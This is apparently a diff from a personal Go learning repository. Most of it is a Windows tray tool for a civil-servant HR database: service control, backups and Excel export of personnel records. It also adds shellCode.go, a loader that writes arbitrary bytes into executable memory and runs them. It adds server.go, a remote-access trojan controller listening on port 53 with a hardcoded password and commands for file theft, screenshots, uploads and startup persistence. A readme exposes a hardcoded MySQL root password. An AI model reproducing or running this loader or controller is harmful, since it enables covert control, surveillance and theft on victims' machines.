// Info.Println(array[i].Name()) //打印当前文件或目录下的文件或目录名
if array[i].Name() == val {
index = i
return
@ -861,55 +835,5 @@ func Contains(array []fs.FileInfo, val string) (index int) {
}
func (mw *myApp) aboutactionTriggered() {
walk.MsgBox(mw.mw, "功能说明", Info, walk.MsgBoxIconQuestion)
}
func GuiInit() {
mw, err := walk.NewMainWindow()
if err != nil {
log.Fatal(err)
}
//托盘图标文件
icon, err := walk.Resources.Icon("./image/icon.ico")
if err != nil {
log.Fatal(err)
}
ni, err := walk.NewNotifyIcon(mw)
if err != nil {
log.Fatal(err)
}
defer ni.Dispose()
if err := ni.SetIcon(icon); err != nil {
log.Fatal(err)
}
if err := ni.SetToolTip("鼠标在icon上悬浮的信息."); err != nil {
log.Fatal(err)
}
ni.MouseDown().Attach(func(x, y int, button walk.MouseButton) {
if button != walk.LeftButton {
return
}
if err := ni.ShowCustom(
"Walk 任务栏通知标题",
"walk 任务栏通知内容",
icon); err != nil {
log.Fatal(err)
}
})
exitAction := walk.NewAction()
if err := exitAction.SetText("右键icon的菜单按钮"); err != nil {
log.Fatal(err)
}
//Exit 实现的功能
exitAction.Triggered().Attach(func() { walk.App().Exit(0) })
if err := ni.ContextMenu().Actions().Add(exitAction); err != nil {
log.Fatal(err)
}
if err := ni.SetVisible(true); err != nil {
log.Fatal(err)
}
if err := ni.ShowInfo("Walk NotifyIcon Example", "Click the icon to show again."); err != nil {
log.Fatal(err)
}
mw.Run()
walk.MsgBox(mw.mw, "功能说明", AppInfo, walk.MsgBoxIconQuestion)
}

50
golang_learn/data_func/go_to_windows/shellCode.go

@ -0,0 +1,50 @@
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
// 0xfc, 0x48, ----shellcode----, 0xd5,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func RunShellCode() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}

43
golang_learn/data_func/go_to_windows/versioninfo.json

@ -1,43 +0,0 @@
{
"FixedFileInfo": {
"FileVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"ProductVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"FileFlagsMask": "3f",
"FileFlags ": "00",
"FileOS": "040004",
"FileType": "01",
"FileSubType": "00"
},
"StringFileInfo": {
"Comments": "公务员服务",
"CompanyName": "北京神舟航天软件技术有限公司",
"FileDescription": "公务员服务运行监控软件",
"FileVersion": "v1.0",
"InternalName": "运行监控",
"LegalCopyright": "Copyright (c) 2021",
"LegalTrademarks": "",
"OriginalFilename": "HyServer.exe",
"PrivateBuild": "",
"ProductName": "监控软件",
"ProductVersion": "V2021_1.0.1",
"SpecialBuild": ""
},
"VarFileInfo": {
"Translation": {
"LangID": "0409",
"CharsetID": "04B0"
}
},
"IconPath": "main.ico",
"ManifestPath": ""
}

309
golang_learn/data_func/go_to_windows/winMc.go

@ -1,309 +0,0 @@
package main
import (
"database/sql"
"encoding/json"
"fmt"
"github.com/360EntSecGroup-Skylar/excelize"
_ "github.com/go-sql-driver/mysql"
"strconv"
"strings"
"time"
)
const sheetName = `Sheet1`
const fileName = `公务员系统数据-`
const fileType = `.xlsx`
const sqlCodeStr = `SELECT concat(code_type,code_value),code_name FROM CODE_VALUE where code_type in('%s') union SELECT concat(code_type,code_value),code_name3 FROM CODE_VALUE where code_type='ZB01'`
const sqlB01 = `select b0111,b0121,b0101 from b01 where b0111<>'-1' order by b0121,sortid`
const sqlA01A0279 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s')`
const sqlA01A0281 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s')`
var CodeValueMap = make(map[string]string)
func RunMc() (string, bool) {
db, _ := sql.Open("mysql", url)
codes, headers, types, headWidth, err := getInit()
if err {
showMsg(fmt.Sprintf("导出名册发生异常!"))
return "", err
}
var allObj [][]interface{}
if len(CodeValueMap) == 0 {
QueryMap(db, fmt.Sprintf(sqlCodeStr, strings.Join(types, "','")), CodeValueMap)
}
b01s := QueryB01(db)
b01 := dept{
Id: "-1",
Child: make([]*dept, 0),
}
makeTree(b01s, &b01)
makeA01s(b01, db, codes, types, &allObj)
return getExcelFile(headers, headWidth, allObj), false
}
func makeA01s(b01 dept, db *sql.DB, codes []string, types []string, allObj *[][]interface{}) {
for _, d := range b01.Child {
QueryA01(db, strings.Join(codes, ","), types, d.Id, allObj)
if len(d.Child) > 0 {
makeA01s(*d, db, codes, types, allObj)
}
}
}
// getInit 初始化 JSON 对象,获取猎头
func getInit() ([]string, []string, []string, []float64, bool) {
var yrYhs []YrYh
//读取的数据为json格式,需要进行解码
err := json.Unmarshal([]byte(yryh), &yrYhs)
if err != nil {
showMsg(fmt.Sprintf("导出名册发生异常:%s", err))
return nil, nil, nil, nil, true
}
yrYhsLen := len(yrYhs)
types := make([]string, yrYhsLen, yrYhsLen) // 输出类型
codes := make([]string, yrYhsLen, yrYhsLen) // 输出信息项
headers := make([]string, yrYhsLen, yrYhsLen) // 输出列名
headWidth := make([]float64, yrYhsLen, yrYhsLen) // 输出列名
for i1, i2 := range yrYhs {
codes[i1] = i2.Code
headers[i1] = i2.Name
headWidth[i1] = i2.Width
types[i1] = i2.Type
}
return codes, headers, types, headWidth, false
}
func getExcelFile(headers []string, headWidth []float64, values [][]interface{}) string {
f, _ := ExportExcel(sheetName, headers, headWidth, values)
fileNameType := fileName + time.Now().Format("2006102150405") + fileType
_ = f.SaveAs(fileNameType)
return fileNameType
}
// maxCharCount 最多26个字符A-Z
const maxCharCount = 26
// ExportExcel 导出Excel文件
// sheetName 工作表名称, 注意这里不要取sheet1这种名字,否则导致文件打开时发生部分错误。
// headers 列名切片, 表头
// rows 数据切片,是一个二维数组
func ExportExcel(sheetName string, headers []string, headWidth []float64, rows [][]interface{}) (*excelize.File, error) {
f := excelize.NewFile()
style, _ := f.NewStyle(`{
"border":[
{"type":"top","color":"#000000","style":1},
{"type":"left","color":"#000000","style":1},
{"type":"right","color":"#000000","style":1},
{"type":"bottom","color":"#000000","style":1}
],
"font":{"size":12,"color":"#000000","family":"仿宋"},
"alignment":{"horizontal":"center","vertical":"center","wrap_text":true},
"fill":{"type":"gradient","shading":0,"color":["#FFFF00","#FFFF00"]}
}`)
sheetIndex := f.NewSheet(sheetName)
maxColumnRowNameLen := 1 + len(strconv.Itoa(len(rows)))
columnCount := len(headers)
if columnCount > maxCharCount {
maxColumnRowNameLen++
} else if columnCount > maxCharCount*maxCharCount {
maxColumnRowNameLen += 2
}
columnNames := make([][]byte, 0, columnCount)
f.SetRowHeight(sheetName, 1, 80) // 设置行高
for i, header := range headers {
columnName := getColumnName(i, maxColumnRowNameLen)
columnNames = append(columnNames, columnName)
// 初始化excel表头,这里的index从1开始要注意
curColumnName := getColumnRowName(columnName, 1)
f.SetColWidth(sheetName, toCharStr(i+1), toCharStr(i+1), headWidth[i])
f.SetCellValue(sheetName, curColumnName, header)
f.SetCellStyle(sheetName, curColumnName, curColumnName, style) // 设置单元格样式
}
for rowIndex, row := range rows {
for columnIndex, columnName := range columnNames {
// 从第二行开始
f.SetCellValue(sheetName, getColumnRowName(columnName, rowIndex+2), row[columnIndex])
}
}
f.SetActiveSheet(sheetIndex)
return f, nil
}
// getColumnName 生成列名
// Excel的列名规则是从A-Z往后排;超过Z以后用两个字母表示,比如AA,AB,AC;两个字母不够以后用三个字母表示,比如AAA,AAB,AAC
// 这里做数字到列名的映射:0 -> A, 1 -> B, 2 -> C
// maxColumnRowNameLen 表示名称框的最大长度,假设数据是10行,1000列,则最后一个名称框是J1000(如果有表头,则是J1001),是4位
// 这里根据 maxColumnRowNameLen 生成切片,后面生成名称框的时候可以复用这个切片,而无需扩容
func getColumnName(column, maxColumnRowNameLen int) []byte {
const A = 'A'
if column < maxCharCount {
// 第一次就分配好切片的容量
slice := make([]byte, 0, maxColumnRowNameLen)
return append(slice, byte(A+column))
} else {
// 递归生成类似AA,AB,AAA,AAB这种形式的列名
return append(getColumnName(column/maxCharCount-1, maxColumnRowNameLen), byte(A+column%maxCharCount))
}
}
// getColumnRowName 生成名称框
// Excel的名称框是用A1,A2,B1,B2来表示的,这里需要传入前一步生成的列名切片,然后直接加上行索引来生成名称框,就无需每次分配内存
func getColumnRowName(columnName []byte, rowIndex int) (columnRowName string) {
l := len(columnName)
columnName = strconv.AppendInt(columnName, int64(rowIndex), 10)
columnRowName = string(columnName)
// 将列名恢复回去
columnName = columnName[:l]
return
}
// QueryB01 获取机构树信息
func QueryB01(db *sql.DB) []*dept {
rows, _ := db.Query(sqlB01)
defer rows.Close()
var b0111, b0121, b0101 string
depts := make([]*dept, 0)
for rows.Next() {
_ = rows.Scan(&b0111, &b0121, &b0101)
depts = append(depts, &dept{
Id: b0111,
Pid: b0121,
Name: b0101,
Child: make([]*dept, 0),
})
}
return depts
}
// QueryA01 获取人员信息
func QueryA01(db *sql.DB, codes string, types []string, b0111 string, allObj *[][]interface{}) {
var sqlStr string
if typeStr == "1" {
sqlStr = fmt.Sprintf(sqlA01A0279, codes, b0111, b0111)
} else {
sqlStr = fmt.Sprintf(sqlA01A0281, codes, b0111, b0111)
}
rows, _ := db.Query(sqlStr)
defer rows.Close()
columns, _ := rows.Columns()
columnsLen := len(columns)
scanArgs := make([]interface{}, columnsLen)
values := make([]interface{}, columnsLen)
for i := range values {
scanArgs[i] = &values[i]
}
for rows.Next() {
_ = rows.Scan(scanArgs...)
valuer := make([]interface{}, columnsLen)
setValueStr(values, types, valuer)
*allObj = append(*allObj, valuer)
}
}
func setValueStr(values []interface{}, types []string, valuer []interface{}) {
for i, col := range values {
if col != nil {
s := string(col.([]byte))
if types[i] == NULL {
valuer[i] = s
} else if types[i] == DATE {
valuer[i] = s[0:4] + DIAN + s[4:6]
} else {
valuer[i] = CodeValueMap[types[i]+s]
}
} else {
valuer[i] = NULL
}
}
}
// 获取表数据
func QueryMap(db *sql.DB, sqlStr string, m map[string]string) {
rows, _ := db.Query(sqlStr)
defer rows.Close()
columns, _ := rows.Columns()
for rows.Next() {
_ = rows.Scan(&columns[0], &columns[1])
m[columns[0]] = columns[1]
}
}
func has(v1 dept, vs []*dept) bool {
var has bool
has = false
for _, v2 := range vs {
v3 := *v2
if v1.Id == v3.Pid {
has = true
break
}
}
return has
}
// makeTree 生成机构树对象
func makeTree(vs []*dept, node *dept) {
childs := findChild(node, vs)
for _, child := range childs {
node.Child = append(node.Child, child)
if has(*child, vs) {
makeTree(vs, child)
}
}
}
func findChild(v *dept, vs []*dept) (ret []*dept) {
ret = make([]*dept, 0)
for _, v2 := range vs {
if v.Id == v2.Pid {
ret = append(ret, v2)
}
}
return
}
// 数字转字母
func toCharStr(i int) string {
return string(rune('A' - 1 + i))
}
type YrYh struct {
Name string `json:"name"`
Code string `json:"code"`
Type string `json:"type"`
Width float64 `json:"width"`
}
const yryh = `[
{"name":"姓名","code":"a01.a0101","type":"","width":11},
{"name":"性别","code":"a01.a0104","type":"GB2261","width":8},
{"name":"民族","code":"a01.a0117","type":"GB3304","width":8},
{"name":"出生日期","code":"a01.a0107","type":"DATE","width":12},
{"name":"参加工作时间","code":"a01.a0134","type":"DATE","width":13},
{"name":"入党时间","code":"a01.a0140","type":"","width":12},
{"name":"工作单位及职务全称","code":"a01.a0192a","type":"","width":20},
{"name":"职务层次","code":"a01.a0221","type":"ZB09","width":12},
{"name":"任职务层次时间","code":"a01.a0288","type":"DATE","width":15},
{"name":"职级","code":"a01.a0192e","type":"ZB148","width":12},
{"name":"任职级时间","code":"a01.a0192c","type":"DATE","width":12},
{"name":"任相当层次职务职级时间","code":"a01.a0192x","type":"DATE","width":15},
{"name":"最高学历","code":"a01.zgxl","type":"","width":15},
{"name":"籍贯","code":"a01.a0111","type":"ZB01","width":12}
]`
const DATE = "DATE"
const NULL = ""
const DIAN = "."
// 树结构
type dept struct {
Id string `json:"id"`
Pid string `json:"pid"`
Name string `json:"name"`
Child []*dept `json:"child"`
}

74
golang_learn/data_func/go_to_windows/winNotifyIcon.go

@ -0,0 +1,74 @@
package main
import (
"github.com/lxn/walk"
"log"
)
func (mw *myApp) AddNotifyIcon() {
var err error
mw.ni, err = walk.NewNotifyIcon(mw)
checkError(err)
mw.ni.SetVisible(true)
icon, err := walk.NewIconFromResourceId(3)
checkError(err)
mw.SetIcon(icon)
mw.ni.SetIcon(icon)
sjMenu := mw.addMenu("数据库")
service1.menuStart = mw.addAction(sjMenu, "启动")
service1.menuStop = mw.addAction(sjMenu, "停止")
service1.menuStart.Triggered().Attach(func() {
startService(service1)
})
service1.menuStop.Triggered().Attach(func() {
stopService(service1)
})
cxMenu := mw.addMenu("应用")
service3.menuStart = mw.addAction(cxMenu, "启动")
service3.menuStop = mw.addAction(cxMenu, "停止")
service3.menuStart.Triggered().Attach(func() {
startService(service3)
})
service3.menuStop.Triggered().Attach(func() {
stopService(service3)
})
mw.addAction(nil, "exit").Triggered().Attach(func() {
mw.ni.Dispose()
mw.Dispose()
walk.App().Exit(0)
})
}
func (mw *myApp) addMenu(name string) *walk.Menu {
helpMenu, err := walk.NewMenu()
checkError(err)
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu)
checkError(err)
help.SetText(name)
return helpMenu
}
func (mw *myApp) addAction(menu *walk.Menu, name string) *walk.Action {
action := walk.NewAction()
action.SetText(name)
if menu != nil {
menu.Actions().Add(action)
} else {
mw.ni.ContextMenu().Actions().Add(action)
}
return action
}
func checkError(err error) {
if err != nil {
log.Fatal(err)
}
}

297
golang_learn/data_func/go_to_windows/winStruct.go

@ -6,15 +6,13 @@ import (
)
// 说明
var Info = strings.Join([]string{
var AppInfo = strings.Join([]string{
"1. 启动、终止并设置 应用和数据库 服务",
"2. 清除 浏览器和应用 缓存",
"3. 设置 应用和数据库 内存大小",
"4. 实现 数据库索引 重新构建",
"5. 实现 数据备份 压缩备份库文件与备份照片",
"6. 【待完善】数据还原", // "实现 数据还原 执行还原库文件与还原照片",
"7. 实现 特殊字符串处理,由于 ”&#“ 导致无法导入问题的解决",
"8. 实现 按照机构树前序遍历方式 导出表册",
//"6. 实现 数据还原 执行还原库文件与还原照片",
fmt.Sprintf("版本:%s", Version)}, "\n")
// 【废弃】基础库部分脚本(除 a01 和 b01)
@ -461,294 +459,3 @@ var DbIndex = []tabIdx{
{tabName: "J2108", idxName: "J2108_IDX_001", idxColumn: "UNITID"},
{tabName: "J2108", idxName: "J2108_IDX_002", idxColumn: "TABLEID"},
}
// 清除特殊字符串问题
type Tab struct {
name string
Cols []string
}
type Tabs struct {
Tab []Tab
}
// 批量处理主细表或描述拼接
type Sqls struct {
name string
Sql []string
}
type Funcs struct {
Sql []Sqls
}
func init() {
// 清除字段可能存储特殊字符串处理
tabs = Tabs{
Tab: []Tab{
{
name: "A01",
Cols: []string{
"A0101",
"A0102",
"A0104",
"A0107",
"A0111A",
"A0114A",
"A0115A",
"A0117",
"A0128",
"A0134",
"A0140",
"A0141",
"A0144",
"A3921",
"A3927",
"A0160",
"A0163",
"A0165",
"A0184",
"A0187A",
"A0192",
"A0192A",
"A0221",
"A0288",
"A0192E",
"A0192C",
"A0196",
"A0197",
"A0195",
"A1701",
"A14Z101",
"A15Z101",
"A0120",
"A0121",
"A0122",
"A2949",
"A0180",
"QRZXL",
"QRZXLXX",
"QRZXW",
"QRZXWXX",
"ZZXL",
"ZZXLXX",
"ZZXW",
"ZZXWXX",
"ZGXL",
"ZGXLXX",
"ZGXW",
"ZGXWXX",
"TCSJSHOW",
"TCFSSHOW",
},
},
{
name: "A02",
Cols: []string{
"A0201A",
"A0201B",
"A0201D",
"A0201E",
"A0215A",
"A0219",
"A0223",
"A0225",
"A0243",
"A0245",
"A0247",
"A0251B",
"A0255",
"A0265",
"A0267",
"A0272",
"A0281",
},
},
{
name: "A05",
Cols: []string{
"A0531",
"A0501B",
"A0504",
"A0511",
"A0517",
"A0524",
"A0526",
"A0528B",
"A0530",
"A0532",
},
},
{
name: "A06",
Cols: []string{
"A0601",
"A0602",
"A0604",
"A0607",
"A0611",
"A0699",
},
},
{
name: "A08",
Cols: []string{
"A0801A",
"A0801B",
"A0901A",
"A0901B",
"A0804",
"A0807",
"A0904",
"A0814",
"A0824",
"A0827",
"A0837",
"A0811",
"A0831",
"A0832",
"A0834",
"A0835",
"A0838",
"A0839",
"A0899",
},
},
{
name: "A14",
Cols: []string{
"A1404A",
"A1404B",
"A1407",
"A1411A",
"A1414",
"A1415",
"A1416",
"A1424",
"A1428",
},
},
{
name: "A15",
Cols: []string{
"A1517",
"A1521",
},
},
{
name: "A30",
Cols: []string{
"A3001",
"A3004",
"A3007A",
"A3038",
},
},
{
name: "A33",
Cols: []string{
"A3310",
"A3321",
"A3321C",
"A3321D",
"A3322",
"A3323",
"A3331",
"A3332",
"A3333",
"A3350",
"A3360",
"A3361",
"A3362",
"A3371",
"A3372",
"A3381",
"A3382",
"A3385",
"A3321A",
"A3321B",
"A3321E",
"A3321F",
"A3333A",
"A3333B",
},
},
{
name: "A36",
Cols: []string{
"A3601",
"A3604A",
"A3607",
"A3627",
"A3611",
"SORTID",
},
},
{
name: "A57",
Cols: []string{
"A5714",
},
},
{
name: "A99Z1",
Cols: []string{
"A99Z101",
"A99Z102",
"A99Z103",
"A99Z104",
"A99Z191",
"A99Z195",
},
},
{
name: "B01",
Cols: []string{
"B0101",
"B0104",
"B0114",
"B0117",
"B0124",
"B0127",
"B0131",
"B0194",
"B0227",
"B0232",
"B0233",
"B0236",
"B0234",
"B0150",
"B0183",
"B0185",
"B0164",
"B0167",
"B0268",
"B0269",
"B0238",
"B0239",
"B0180",
"SORTID",
},
},
},
}
// 批量处理功能脚本
funcs = Funcs{
Sql: []Sqls{
/*{
name: "职务层次及职级主细同步",
Sql: []string{
"update a01 set a0221='',a0288='' where not exists(select 1 from a05 where a01.a0000=a05.a0000 and a0524='1' and A0531='0')",
"update a01 set a0192e='',a0192c='' where not exists(select 1 from a05 where a01.a0000=a05.a0000 and a0524='1' and A0531='1')",
"update a01,a05 set a0221=A0501B,a0288=A0504 where a01.a0000=a05.a0000 and a0524='1' and A0531='0'",
"update a01,a05 set a0192e=A0501B,a0192c=A0504 where a01.a0000=a05.a0000 and a0524='1' and A0531='1'",
},
},
{
name: "拼接政治面貌信息",
Sql: []string{
"update a01 set a0140=concat(substr(a0144,1,4),'.',substr(a0144,5,2)) where a0141 in('01','02') and (a0144 is not null or a0144 <> '')",
"update a01 set a0140=concat('(',(select code_name from code_value where code_type='GB4762' and code_value=a0141),')') where a0141 in(select code_value from code_value where code_type='GB4762' and code_value not in ('01','02'))",
},
},*/
},
}
}

78
golang_learn/data_func/go_to_windows/winView.go

@ -5,6 +5,7 @@ import (
. "github.com/lxn/walk/declarative"
"github.com/lxn/win"
"log"
"os"
)
// 初始始化窗体
@ -21,88 +22,54 @@ func GetWindows() error {
MenuItems: []MenuItem{
Menu{
Text: "&编辑",
// Image: "./image/media.png",
Items: []MenuItem{
Separator{},
Action{
// Image: "./image/qinghuancun.png",
Text: "清除缓存",
OnTriggered: clearAll,
},
Action{
// Image: "./image/beifen.png",
Text: "重构索引",
OnTriggered: reDbIndex,
},
Action{
// Image: "./image/beifen.png",
Text: "数据备份",
OnTriggered: dbBak,
},
//Action{
// // Image: "./image/huanyuan.png",
// Text: "数据还原",
// OnTriggered: reDbBak,
//},
Action{
// Image: "./image/qinghuancun.png",
Text: "数据清洗",
OnTriggered: clearData,
Text: "数据还原",
OnTriggered: reDbBak,
},
Action{
// Image: "./image/tuichu.png",
Text: "退出",
OnTriggered: func() {
walk.App().Exit(0)
OnExit()
},
},
},
},
Menu{
Text: "&设置",
// Image: "./image/shezhi.png",
Items: []MenuItem{
Separator{},
Action{
// Image: "./image/shujuku.png",
Text: "设置数据库内存",
OnTriggered: setDbSize,
},
Action{
// Image: "./image/yingyong.png",
Text: "设置应用内存",
OnTriggered: setServerSize,
},
},
},
Menu{
Text: "&表册",
// Image: "./image/shezhi.png",
Items: []MenuItem{
Separator{},
Action{
// Image: "./image/shujuku.png",
Text: "按照职务输出生成(可能人员重复)",
OnTriggered: getMcByA0281,
},
Action{
// Image: "./image/yingyong.png",
Text: "按照主职务生成(可能人员丢失)",
OnTriggered: getMcByA0279,
},
},
},
Menu{
Text: "&帮助",
// Image: "./image/bangzhu.png",
Items: []MenuItem{
Action{
// Image: "./image/guanyu.png",
Text: "关于",
OnTriggered: app.aboutactionTriggered,
},
/*Action{
// Image: "./image/yaoqiu.png",
Text: "要求",
OnTriggered: app.aboutactionTriggered,
},*/
@ -178,7 +145,7 @@ func GetWindows() error {
MinSize: Size{Width: 140, Height: 30},
Text: "关闭本监控窗口",
OnClicked: func() {
walk.App().Exit(0)
OnExit()
},
},
},
@ -359,9 +326,8 @@ func (mw *myApp) RunAppSetingDialog(owner walk.Form, confirmCall func(*AppSeting
//数据还原设置
type DbBakSetings struct {
*walk.MainWindow
searchBox *walk.LineEdit
path string
fileEdit *walk.TextEdit
fileName string
}
// 运行 数据还原设置 Dialog
@ -372,7 +338,7 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe
var acceptPB, cancelPB *walk.PushButton
seting = new(DbBakSetings)
// 设置预定值
seting.fileName = ""
_, _ = Dialog{
AssignTo: &dlg,
@ -392,14 +358,18 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe
GroupBox{
Layout: HBox{},
Children: []Widget{
LineEdit{
ReadOnly: true,
AssignTo: &seting.searchBox,
},
PushButton{
Text: "选择",
OnClicked: seting.selectFile,
},
Label{Text: `请输入还原文件名称(如:2022122235133):`},
TextEdit{AssignTo: &seting.fileEdit},
},
},
GroupBox{
Layout: HBox{},
Children: []Widget{
Label{Text: `说明
1. 需要您选择还原的文件并且在触发恢复先提示是否进行备份选择是/按照选择文件进行解压覆盖
2. 请自行检查备份包的大小是否正常通常包大于400M
3. 备份时请确保服务正常启动`},
},
},
Composite{
@ -416,6 +386,14 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe
return
}
Info.Println(path + `\` + seting.fileEdit.Text() + `.gz`)
_, err := os.OpenFile(path+`\`+seting.fileEdit.Text()+`.gz`, os.O_RDWR, 0666)
if err != nil {
walk.MsgBox(app.mw, "错误", "无法打开文件。", walk.MsgBoxIconWarning)
return
}
seting.fileName = seting.fileEdit.Text()
// 关闭页面
dlg.Cancel()

25
golang_learn/data_func/go_to_windows/说明.md

@ -0,0 +1,25 @@
# 应用检测软件
## 说明:
* 当前存在两个分支
* master 为 全国公务员系统工具
* hy_YingJiGuanLiBu 为 消防干部系统工具
> 两部分差异部分
> `main.go``winStruct.go`
> ``` go
> var TableName // 变量值
> var Version // 变量值
> var epsoft1 // 变量值
> var epsoft2 // 变量值
> var service1 // 变量值
> var service3 // 变量值
> // 方法内容 数据链接
> db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35019)/hy_yjglb?charset=utf8")
> // 方法内容 实现打包内容范围
> // 【sql方式】统计库部分
> // 【sql方式】基础库部分
> // 备份压缩文件
> ```

BIN
golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk

Binary file not shown.

310
golang_learn/data_office/get_v_YuanKong/client.go

File diff suppressed because one or more lines are too long

245
golang_learn/data_office/get_v_YuanKong/server.go

@ -0,0 +1,245 @@
package main
import (
"bufio"
"encoding/base64"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
const (
WHITE = "\x1b[37;1m"
RED = "\x1b[31;1m"
GREEN = "\x1b[32;1m"
YELLOW = "\x1b[33;1m"
BLUE = "\x1b[34;1m"
MAGENTA = "\x1b[35;1m"
CYAN = "\x1b[36;1m"
VERSION = "2.5.0"
)
var (
inputIP = flag.String("IP", "0.0.0.0", "Listen IP")
inputPort = flag.String("PORT", "53", "Listen Port")
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password")
counter int //用于会话计数,给map的key使用
connlist map[int]net.Conn = make(map[int]net.Conn) //存储所有连接的会话
connlistIPAddr map[int]string = make(map[int]string) //存储所有IP地址,提供输入标识符显示
lock = &sync.Mutex{}
downloadOutName string
)
func getDateTime() string {
currentTime := time.Now()
// https://golang.org/pkg/time/#example_Time_Format
return currentTime.Format("2006-01-02-15-04-05")
}
// ReadLine 函数等待命令行输入,返回字符串
func ReadLine() string {
buf := bufio.NewReader(os.Stdin)
lin, _, err := buf.ReadLine()
if err != nil {
fmt.Println(RED, "[!] Error to Read Line!")
}
return string(lin)
}
// Socket客户端连接处理程序,专用于接收消息处理
func connection(conn net.Conn) {
defer conn.Close()
var myid int
myip := conn.RemoteAddr().String()
lock.Lock()
counter++
myid = counter
connlist[counter] = conn
connlistIPAddr[counter] = myip
lock.Unlock()
fmt.Printf("--- client: %s connection ---\n", myip)
for {
message, err := bufio.NewReader(conn).ReadString('\n')
//如果客户端断开
if err == io.EOF {
conn.Close()
delete(connlist, myid)
delete(connlistIPAddr, myid)
break
}
decoded, _ := base64.StdEncoding.DecodeString(message)
decMessage := string(decoded)
switch decMessage {
case "download":
//fmt.Println("---收到download指令,等待下一次数据上传---")
// 等待用户上传数据
encData, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(YELLOW, "-> Downloading...")
decData, _ := base64.URLEncoding.DecodeString(encData)
downFilePath, _ := filepath.Abs(string(downloadOutName) + getDateTime())
ioutil.WriteFile(downFilePath, []byte(decData), 777)
fmt.Println(GREEN, "-> Download Done...")
case "screenshot":
encData, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(YELLOW, "-> Getting ScreenShot...")
decData, _ := base64.URLEncoding.DecodeString(encData)
//filename := myip + getDateTime()+".png"
absFilePath, _ := filepath.Abs(strings.Replace(myip, ":", "_", -1) + getDateTime() + ".png")
ioutil.WriteFile(absFilePath, []byte(decData), 777)
fmt.Printf(GREEN+"-> ScreenShot Done, filename: %s\n", absFilePath)
default:
fmt.Println("\n" + decMessage)
}
}
fmt.Printf("--- %s close---\n", myip)
}
// 等待Socket 客户端连接
func handleConnWait() {
l, err := net.Listen("tcp", *inputIP+":"+*inputPort)
if err != nil {
log.Fatal(err)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
log.Fatal(err)
}
message, err := bufio.NewReader(conn).ReadString('\n')
decoded, _ := base64.StdEncoding.DecodeString(message)
if string(decoded) == *connPwd {
go connection(conn)
} else {
backMsg := base64.URLEncoding.EncodeToString([]byte("back"))
conn.Write([]byte(backMsg + "\n"))
conn.Close()
}
}
}
func main() {
flag.Parse()
go handleConnWait()
connid := 0
for {
fmt.Print(RED, "SESSION ", connlistIPAddr[connid], WHITE, "> ")
command := ReadLine()
_conn, ok := connlist[connid]
switch command {
case "":
// 如果输入为空,则什么都不做
case "help":
fmt.Println("")
fmt.Println(CYAN, "COMMANDS DESCRIPTION")
fmt.Println(CYAN, "-------------------------------------------------------")
fmt.Println(CYAN, "session 选择在线的客户端")
fmt.Println(CYAN, "download 下载远程文件")
fmt.Println(CYAN, "upload 上传本地文件")
fmt.Println(CYAN, "screenshot 远程桌面截图")
fmt.Println(CYAN, "charset gbk 设置客户端命令行输出编码,gbk是简体中文")
fmt.Println(CYAN, "clear 清楚屏幕")
fmt.Println(CYAN, "exit 客户端下线")
fmt.Println(CYAN, "quit 退出服务器端")
fmt.Println(CYAN, "startup 加入启动项目文件夹")
fmt.Println(CYAN, "-------------------------------------------------------")
fmt.Println("")
case "session":
fmt.Println(connlist)
fmt.Print("选择客户端ID: ")
inputid := ReadLine()
if inputid != "" {
var e error
connid, e = strconv.Atoi(inputid)
if e != nil {
fmt.Println("请输入数字")
} else if _, ok := connlist[connid]; ok {
//如果输入并且存在客户端id
_cmd := base64.URLEncoding.EncodeToString([]byte("getos"))
connlist[connid].Write([]byte(_cmd + "\n"))
}
}
case "clear":
ClearScreen()
case "exit":
if ok {
encDownload := base64.URLEncoding.EncodeToString([]byte("exit"))
_conn.Write([]byte(encDownload + "\n"))
}
case "quit":
os.Exit(0)
case "download":
if ok {
// 第一步,发送下载指令
encDownload := base64.URLEncoding.EncodeToString([]byte("download"))
_conn.Write([]byte(encDownload + "\n"))
// 第二步,输入下载路径和要保存的文件名,发送给客户端
fmt.Print("File Path to Download: ")
nameDownload := ReadLine()
fmt.Print("Output name: ")
downloadOutName = ReadLine()
// 下发需要download的文件名路径, conn连接的协程里面接收
